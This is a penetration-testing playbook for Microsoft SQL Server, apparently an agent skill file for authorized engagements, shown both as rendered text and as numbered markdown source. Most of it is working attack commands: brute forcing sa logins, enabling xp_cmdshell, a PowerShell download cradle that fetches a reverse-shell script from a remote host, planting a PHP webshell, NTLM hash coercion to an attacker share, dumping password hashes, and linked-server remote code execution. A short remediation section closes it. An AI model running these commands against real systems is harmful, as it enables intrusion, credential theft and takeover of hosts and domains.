Pentesting MSSQL (port 1433)
When to Use
- Default port
1433/tcp (engine), 1434/udp (SQL Server Browser for instance discovery), named instances on dynamic ports.
- Banner like
Microsoft SQL Server 2017 14.00.1000.00; common in Active Directory environments where MSSQL service accounts and linked servers enable lateral movement.
- Use with recovered creds, Windows/Kerberos auth, or to coerce NTLM authentication from the SQL service account.
- Note: managed DBaaS (Amazon RDS) disables
xp_cmdshell and TRUSTWORTHY — pivot to app-layer / data exfil there.
Quick Enumeration
# Instance discovery + info (no creds needed for ms-sql-info / ntlm-info)
nmap -sV -p1433 --script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password,ms-sql-config,ms-sql-dac \
--script-args mssql.instance-port=1433 <IP>
msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS <IP>; run; exit'
# Authenticated client connections
impacket-mssqlclient <DOMAIN>/<USER>:<PASS>@<IP>
impacket-mssqlclient -windows-auth <DOMAIN>/<USER>:<PASS>@<IP> # use NetBIOS name as domain
sqsh -S <IP> -U sa -P <PASS> # in sqsh, type query then GO
Critical: Checks Most Often Missed
- Default / empty
sa — try sa with empty and common passwords. Be careful: too many failures lock accounts.
- How to CONFIRM:
nmap --script ms-sql-empty-password -p1433 <IP>, or impacket-mssqlclient sa:@<IP> connects.
- xp_cmdshell OS command execution — sysadmins (and users with EXECUTE on it) can enable and run shell commands as the SQL service account.
- How to CONFIRM:
SELECT IS_SRVROLEMEMBER('sysadmin'); returns 1; then EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC master..xp_cmdshell 'whoami'; returns output.
- NTLM coercion / relay —
xp_dirtree/xp_subdirs/xp_fileexist make the service account authenticate to an attacker host; capture or relay the NetNTLMv2 hash.
- How to CONFIRM: start
responder -I tun0 (or impacket-smbserver share ./ -smb2support) then EXEC master..xp_dirtree '\\<attacker_IP>\share'; — a hash arrives. Crack with Hashcat mode 5600.
- Linked servers → remote RCE — a low-priv login can run queries on a linked instance as the mapped remote principal; if that maps to
sysadmin, enable xp_cmdshell on the far end.
- How to CONFIRM:
EXEC sp_linkedservers; EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [LINK]; returns 1.
- File read/write primitives —
OPENROWSET(BULK ...) reads any file the account can read (needs ADMINISTER BULK OPERATIONS); Ole Automation Procedures write files (e.g. a webshell).
- How to CONFIRM:
SELECT * FROM OPENROWSET(BULK N'C:/Windows/win.ini', SINGLE_CLOB) AS x; returns content.
- Other RCE surfaces:
sp_execute_external_script (Python/R), CLR assemblies (needs dbo/sa), SQL Agent jobs, registry via xp_regread/xp_regwrite.
Workflow
Step 1: Enumerate
nmap -sV -p1433 --script ms-sql-info,ms-sql-ntlm-info <IP>
# In a SQL session:
# select @@version; select user_name(); SELECT name FROM master.dbo.sysdatabases;
# EXEC sp_linkedservers; SELECT IS_SRVROLEMEMBER('sysadmin'); EXEC sp_helprotect 'xp_cmdshell';
Step 2: Authenticate (default/empty creds, brute force, AD)
impacket-mssqlclient sa:@<IP> # empty sa
nxc mssql <IP> -u sa -p 'P@ssw0rd'
nxc mssql <IP> --local-auth -u user -p 'pass' --rid-brute 5000 # enumerate domain users via RIDs
hydra -L users.txt -P passwords.txt <IP> mssql
# MSSqlPwner brute with tickets/hashes/passwords
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt -hl hashes.txt
Step 3: Exploit / Extract (data dump + xp_cmdshell / file primitive)
-- Dump logins + hashes (crack with Hashcat 1731 for mssql2012+)
SELECT * FROM master.sys.syslogins;
SELECT name, password_hash FROM sys.sql_logins;
-- Enable + run xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC master..xp_cmdshell 'whoami';
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile';
-- File READ (needs ADMINISTER BULK OPERATIONS)
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents;
-- File WRITE webshell via Ole Automation Procedures
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @OLE INT, @FileID INT;
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1;
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>';
EXECUTE sp_OADestroy @FileID; EXECUTE sp_OADestroy @OLE;
-- NTLM coercion to capture/relay the service account hash
EXEC master..xp_dirtree '\\<attacker_IP>\share';
EXEC master..xp_subdirs '\\<attacker_IP>\share';
Step 4: Post-access / privilege escalation / pivot
-- Linked server lateral movement -> remote RCE if mapped login is sysadmin
EXEC sp_linkedservers; EXEC sp_helplinkedsrvlogin '<LINK>';
EXEC ('SELECT SYSTEM_USER') AT [<LINK>];
EXEC ('sp_configure ''show advanced options'',1; RECONFIGURE;') AT [<LINK>];
EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [<LINK>];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [<LINK>];
- impacket fast path:
enum_links, use_link [NAME], enable_xp_cmdshell, xp_cmdshell whoami.
- Escalate
db_owner→sysadmin (mssql_escalate_dbowner) or via IMPERSONATE/EXECUTE AS (mssql_escalate_execute_as).
- Silver-ticket the
MSSQLSvc SPN after recovering the service NTLM hash to impersonate a sysadmin group.
Key Concepts
| Concept |
Description |
| sa login |
Built-in sysadmin; default target for weak/empty password checks. |
| xp_cmdshell |
Extended stored proc running OS commands as the SQL service account (needs enabling + EXECUTE). |
| Linked server |
Cross-instance link; queries run as the mapped remote login (EXEC (...) AT [LINK]). |
| NTLM coercion |
xp_dirtree/xp_subdirs/xp_fileexist force outbound SMB auth to capture/relay NetNTLMv2. |
| OPENROWSET BULK |
Reads arbitrary files (requires ADMINISTER BULK OPERATIONS). |
| Ole Automation Procedures |
sp_OACreate/sp_OAMethod write files (webshell drop). |
| sp_execute_external_script |
Runs Python/R under a separate account — extra RCE path. |
| DBaaS limits |
RDS/managed instances disable xp_cmdshell and TRUSTWORTHY; focus on data/app layer. |
Tools & Systems
| Tool |
Purpose |
| impacket-mssqlclient |
Auth (SQL + -windows-auth + -k Kerberos), enum_links, enable_xp_cmdshell, xp_cmdshell. |
| sqsh / sqlcmd / osql |
Native CLI clients for interactive queries and CSV export. |
| nmap NSE |
ms-sql-info, ms-sql-ntlm-info, ms-sql-empty-password, ms-sql-config, ms-sql-dac, ms-sql-xp-cmdshell. |
| Metasploit |
scanner/mssql/mssql_ping, mssql_hashdump, admin/mssql/mssql_enum, mssql_exec, mssql_escalate_*, mssql_ntlm_stealer. |
| netexec (nxc) |
nxc mssql <IP> -u .. -p .. for auth, -x/-X command exec, --rid-brute. |
| MSSqlPwner |
Brute, linked-server chains, ntlm-relay, custom-asm CLR exec. |
| Responder / impacket-smbserver |
Capture/relay the coerced NetNTLMv2 hash (Hashcat 5600). |
Common Scenarios
Scenario 1: Empty sa → command execution
impacket-mssqlclient sa:@<IP> connects. IS_SRVROLEMEMBER('sysadmin') returns 1, so the tester enables and runs xp_cmdshell 'whoami', getting code execution as the SQL service account.
Scenario 2: Hash coercion → AD foothold
A low-priv login can still run xp_dirtree '\\attacker\share'. With Responder running, the SQL service account's NetNTLMv2 is captured and cracked, then reused for further AD access.
Scenario 3: Linked-server chain → remote RCE
The accessible instance has a linked server whose login maps to sysadmin on a second host. EXEC (...) AT [LINK] enables xp_cmdshell remotely and runs commands on a different machine, pivoting deeper into the network.
Output Format
## MSSQL Finding
**Service**: Microsoft SQL Server
**Port**: 1433/tcp (SQL Server 2017)
**Severity**: Critical
**Finding**: Weak SA credentials with xp_cmdshell enabled
**Evidence**:
- impacket-mssqlclient sa:'<pass>'@<IP> -> connected, IS_SRVROLEMEMBER('sysadmin')=1
- EXEC master..xp_cmdshell 'whoami' -> nt service\mssqlserver
**Impact**: Full OS command execution as the SQL service account, enabling host compromise and AD lateral movement.
**Recommendation**:
1. Set strong unique credentials for sa and all SQL logins; disable sa if unused.
2. Keep xp_cmdshell and Ole Automation disabled; restrict sysadmin membership.
3. Block outbound SMB from the SQL host and enforce SMB signing to stop NTLM relay.
4. Review linked-server login mappings; avoid mapping low-priv logins to remote sysadmin.
1---2name: pentesting-mssql3description: Testing Microsoft SQL Server (default port 1433, UDP 1434 browser) for default/weak SA credentials, Windows-auth and NTLM relay/coercion, xp_cmdshell OS command execution, linked-server lateral movement, and OLE/BULK file read-write primitives during authorized engagements.4license: Apache-2.05---6
7# Pentesting MSSQL (port 1433)
8
9## When to Use
10- Default port `1433/tcp` (engine), `1434/udp` (SQL Server Browser for instance discovery), named instances on dynamic ports.
11- Banner like `Microsoft SQL Server 2017 14.00.1000.00`; common in Active Directory environments where MSSQL service accounts and linked servers enable lateral movement.
12- Use with recovered creds, Windows/Kerberos auth, or to coerce NTLM authentication from the SQL service account.
13- Note: managed DBaaS (Amazon RDS) disables `xp_cmdshell` and `TRUSTWORTHY` — pivot to app-layer / data exfil there.
14
15## Quick Enumeration
16```bash
17# Instance discovery + info (no creds needed for ms-sql-info / ntlm-info)
18nmap -sV -p1433 --script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password,ms-sql-config,ms-sql-dac \
19 --script-args mssql.instance-port=1433 <IP>
20msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS <IP>; run; exit'
21
22# Authenticated client connections
23impacket-mssqlclient <DOMAIN>/<USER>:<PASS>@<IP>
24impacket-mssqlclient -windows-auth <DOMAIN>/<USER>:<PASS>@<IP> # use NetBIOS name as domain
25sqsh -S <IP> -U sa -P <PASS> # in sqsh, type query then GO
26```
27
28## Critical: Checks Most Often Missed
29- **Default / empty `sa`** — try `sa` with empty and common passwords. Be careful: too many failures lock accounts.
30 - How to CONFIRM: `nmap --script ms-sql-empty-password -p1433 <IP>`, or `impacket-mssqlclient sa:@<IP>` connects.
31- **xp_cmdshell OS command execution** — sysadmins (and users with EXECUTE on it) can enable and run shell commands as the SQL service account.
32 - How to CONFIRM: `SELECT IS_SRVROLEMEMBER('sysadmin');` returns 1; then `EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC master..xp_cmdshell 'whoami';` returns output.
33- **NTLM coercion / relay** — `xp_dirtree`/`xp_subdirs`/`xp_fileexist` make the service account authenticate to an attacker host; capture or relay the NetNTLMv2 hash.
34 - How to CONFIRM: start `responder -I tun0` (or `impacket-smbserver share ./ -smb2support`) then `EXEC master..xp_dirtree '\\<attacker_IP>\share';` — a hash arrives. Crack with Hashcat mode **5600**.
35- **Linked servers → remote RCE** — a low-priv login can run queries on a linked instance as the mapped remote principal; if that maps to `sysadmin`, enable `xp_cmdshell` on the far end.
36 - How to CONFIRM: `EXEC sp_linkedservers; EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [LINK];` returns 1.
37- **File read/write primitives** — `OPENROWSET(BULK ...)` reads any file the account can read (needs `ADMINISTER BULK OPERATIONS`); Ole Automation Procedures write files (e.g. a webshell).
38 - How to CONFIRM: `SELECT * FROM OPENROWSET(BULK N'C:/Windows/win.ini', SINGLE_CLOB) AS x;` returns content.
39- Other RCE surfaces: `sp_execute_external_script` (Python/R), CLR assemblies (needs `dbo`/`sa`), SQL Agent jobs, registry via `xp_regread`/`xp_regwrite`.
40
41## Workflow
42
43### Step 1: Enumerate
44```bash
45nmap -sV -p1433 --script ms-sql-info,ms-sql-ntlm-info <IP>
46# In a SQL session:
47# select @@version; select user_name(); SELECT name FROM master.dbo.sysdatabases;
48# EXEC sp_linkedservers; SELECT IS_SRVROLEMEMBER('sysadmin'); EXEC sp_helprotect 'xp_cmdshell';
49```
50
51### Step 2: Authenticate (default/empty creds, brute force, AD)
52```bash
53impacket-mssqlclient sa:@<IP> # empty sa
54nxc mssql <IP> -u sa -p 'P@ssw0rd'
55nxc mssql <IP> --local-auth -u user -p 'pass' --rid-brute 5000 # enumerate domain users via RIDs
56hydra -L users.txt -P passwords.txt <IP> mssql
57# MSSqlPwner brute with tickets/hashes/passwords
58mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt -hl hashes.txt
59```
60
61### Step 3: Exploit / Extract (data dump + xp_cmdshell / file primitive)
62```sql
63-- Dump logins + hashes (crack with Hashcat 1731 for mssql2012+)
64SELECT * FROM master.sys.syslogins;
65SELECT name, password_hash FROM sys.sql_logins;
66
67-- Enable + run xp_cmdshell
68EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
69EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
70EXEC master..xp_cmdshell 'whoami';
71EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile';
72
73-- File READ (needs ADMINISTER BULK OPERATIONS)
74SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents;
75
76-- File WRITE webshell via Ole Automation Procedures
77EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
78DECLARE @OLE INT, @FileID INT;
79EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
80EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1;
81EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>';
82EXECUTE sp_OADestroy @FileID; EXECUTE sp_OADestroy @OLE;
83```
84```sql
85-- NTLM coercion to capture/relay the service account hash
86EXEC master..xp_dirtree '\\<attacker_IP>\share';
87EXEC master..xp_subdirs '\\<attacker_IP>\share';
88```
89
90### Step 4: Post-access / privilege escalation / pivot
91```sql
92-- Linked server lateral movement -> remote RCE if mapped login is sysadmin
93EXEC sp_linkedservers; EXEC sp_helplinkedsrvlogin '<LINK>';
94EXEC ('SELECT SYSTEM_USER') AT [<LINK>];
95EXEC ('sp_configure ''show advanced options'',1; RECONFIGURE;') AT [<LINK>];
96EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [<LINK>];
97EXEC ('EXEC xp_cmdshell ''whoami''') AT [<LINK>];
98```
99- impacket fast path: `enum_links`, `use_link [NAME]`, `enable_xp_cmdshell`, `xp_cmdshell whoami`.
100- Escalate `db_owner`→`sysadmin` (`mssql_escalate_dbowner`) or via `IMPERSONATE`/`EXECUTE AS` (`mssql_escalate_execute_as`).
101- Silver-ticket the `MSSQLSvc` SPN after recovering the service NTLM hash to impersonate a sysadmin group.
102
103## Key Concepts
104| Concept | Description |
105|---------|-------------|
106| **sa login** | Built-in sysadmin; default target for weak/empty password checks. |
107| **xp_cmdshell** | Extended stored proc running OS commands as the SQL service account (needs enabling + EXECUTE). |
108| **Linked server** | Cross-instance link; queries run as the mapped remote login (`EXEC (...) AT [LINK]`). |
109| **NTLM coercion** | `xp_dirtree`/`xp_subdirs`/`xp_fileexist` force outbound SMB auth to capture/relay NetNTLMv2. |
110| **OPENROWSET BULK** | Reads arbitrary files (requires `ADMINISTER BULK OPERATIONS`). |
111| **Ole Automation Procedures** | `sp_OACreate`/`sp_OAMethod` write files (webshell drop). |
112| **sp_execute_external_script** | Runs Python/R under a separate account — extra RCE path. |
113| **DBaaS limits** | RDS/managed instances disable `xp_cmdshell` and `TRUSTWORTHY`; focus on data/app layer. |
114
115## Tools & Systems
116| Tool | Purpose |
117|------|---------|
118| **impacket-mssqlclient** | Auth (SQL + `-windows-auth` + `-k` Kerberos), `enum_links`, `enable_xp_cmdshell`, `xp_cmdshell`. |
119| **sqsh / sqlcmd / osql** | Native CLI clients for interactive queries and CSV export. |
120| **nmap NSE** | `ms-sql-info`, `ms-sql-ntlm-info`, `ms-sql-empty-password`, `ms-sql-config`, `ms-sql-dac`, `ms-sql-xp-cmdshell`. |
121| **Metasploit** | `scanner/mssql/mssql_ping`, `mssql_hashdump`, `admin/mssql/mssql_enum`, `mssql_exec`, `mssql_escalate_*`, `mssql_ntlm_stealer`. |
122| **netexec (nxc)** | `nxc mssql <IP> -u .. -p ..` for auth, `-x`/`-X` command exec, `--rid-brute`. |
123| **MSSqlPwner** | Brute, linked-server chains, `ntlm-relay`, `custom-asm` CLR exec. |
124| **Responder / impacket-smbserver** | Capture/relay the coerced NetNTLMv2 hash (Hashcat 5600). |
125
126## Common Scenarios
127### Scenario 1: Empty sa → command execution
128`impacket-mssqlclient sa:@<IP>` connects. `IS_SRVROLEMEMBER('sysadmin')` returns 1, so the tester enables and runs `xp_cmdshell 'whoami'`, getting code execution as the SQL service account.
129
130### Scenario 2: Hash coercion → AD foothold
131A low-priv login can still run `xp_dirtree '\\attacker\share'`. With Responder running, the SQL service account's NetNTLMv2 is captured and cracked, then reused for further AD access.
132
133### Scenario 3: Linked-server chain → remote RCE
134The accessible instance has a linked server whose login maps to `sysadmin` on a second host. `EXEC (...) AT [LINK]` enables `xp_cmdshell` remotely and runs commands on a different machine, pivoting deeper into the network.
135
136## Output Format
137```
138## MSSQL Finding
139
140**Service**: Microsoft SQL Server
141**Port**: 1433/tcp (SQL Server 2017)
142**Severity**: Critical
143**Finding**: Weak SA credentials with xp_cmdshell enabled
144**Evidence**:
145 - impacket-mssqlclient sa:'<pass>'@<IP> -> connected, IS_SRVROLEMEMBER('sysadmin')=1
146 - EXEC master..xp_cmdshell 'whoami' -> nt service\mssqlserver
147**Impact**: Full OS command execution as the SQL service account, enabling host compromise and AD lateral movement.
148**Recommendation**:
149 1. Set strong unique credentials for sa and all SQL logins; disable sa if unused.
150 2. Keep xp_cmdshell and Ole Automation disabled; restrict sysadmin membership.
151 3. Block outbound SMB from the SQL host and enforce SMB signing to stop NTLM relay.
152 4. Review linked-server login mappings; avoid mapping low-priv logins to remote sysadmin.
153```